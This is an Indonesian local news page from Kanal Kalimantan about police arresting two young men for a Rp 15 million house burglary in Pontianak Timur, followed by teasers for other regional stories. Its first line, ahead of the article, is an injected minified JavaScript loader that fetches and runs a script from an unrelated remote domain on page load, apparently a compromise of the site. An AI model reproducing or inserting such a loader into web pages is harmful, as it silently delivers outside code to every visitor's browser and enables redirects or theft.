(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PONTIANAK – Pencurian rumah dengan membobol pintu belakang terulang lagi, Polsek Pontianak Timur mengamankan dua orang pria. Pelaku pencurian masing-masing berinisial CR (20) dan IB (19), Sabtu (11/4/2020). Reskrim Polsek Pontianak Timur beserta anggota telah tangkap dua pria atas kasus pencurian rumah dengan kerugian mencapai Rp 15 juta.
Kanit Reskrim Polsek Pontianak Timur, Iptu Asep Tedi mengatakan, pihaknya berhasil mengamankan dua pria yang diduga melakukan tindak pidana pencurian di Jalan Abdul Muis No 35 RT.003/RW.007 Kelurahan Tanjung Hulu, Kecamatan Pontianak Timur, Kalbar. Dua pria tersebut bernisial CR (20) dan inisial IB (19), keduanya merupakan warga Pontianak Timur.
Bermula korbam SZ melaporkan bahwatengah berada di Pos Pemadam Kebakaran di Jalan Tekam, Pontianak Timur, Kalbar. SZ mendapatkan informasi bahwa rumahnya telah dibobol dua pria. Mendapatkan informasi tersebut SZ langsung memastikan informasi tersebut. Setibanya di rumah korban, SZ memastikan kejadian tersebut memang benar adanya, karena terlihat bahwa kondisi rumah sedang berantakan.
“Pintu belakang sudah dalam keadaan terbuka, setelah dicek barang yang hilang berupa perabotan rumah tangga, pakaian, kabel listrik, alat tukang (perkakas), mesin air merk nasional, dan TV tabung ukuran 21 sudah lenyap,†katanya.
Atas kejadian tersebut korban mengalami kerugian sebesar Rp 15 juta. Dari hasil olah TKP pelaku pencurian yang ada di rumah korban tersebut dilakukan oleh dua orang pria yang tinggalnya tidak berjauhan dari rumah korban. Setelah mendapatkan petunjuk, anggota langsung melakukan pencarian terhadap 2 pelaku tersebut. Kapolsek Pontianak Timur Kompol Sunaryo melalui Kasi Humas Iptu Iskak Pujiyanto membenarkan adanya penangkapan kedua pria tersebut. “Sekarang kita masih lakukan pendalaman atas kejadian tersebut,” katanya.
“Dari untuk tindak pencurian tersebut, kedua pelaku kita kenakan pasal 363 ayat 1 ke 4 dan 5 KUHP,†sebutnya. (kanalkalimantan.com/polsek pontianak timur)
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
This website uses cookies.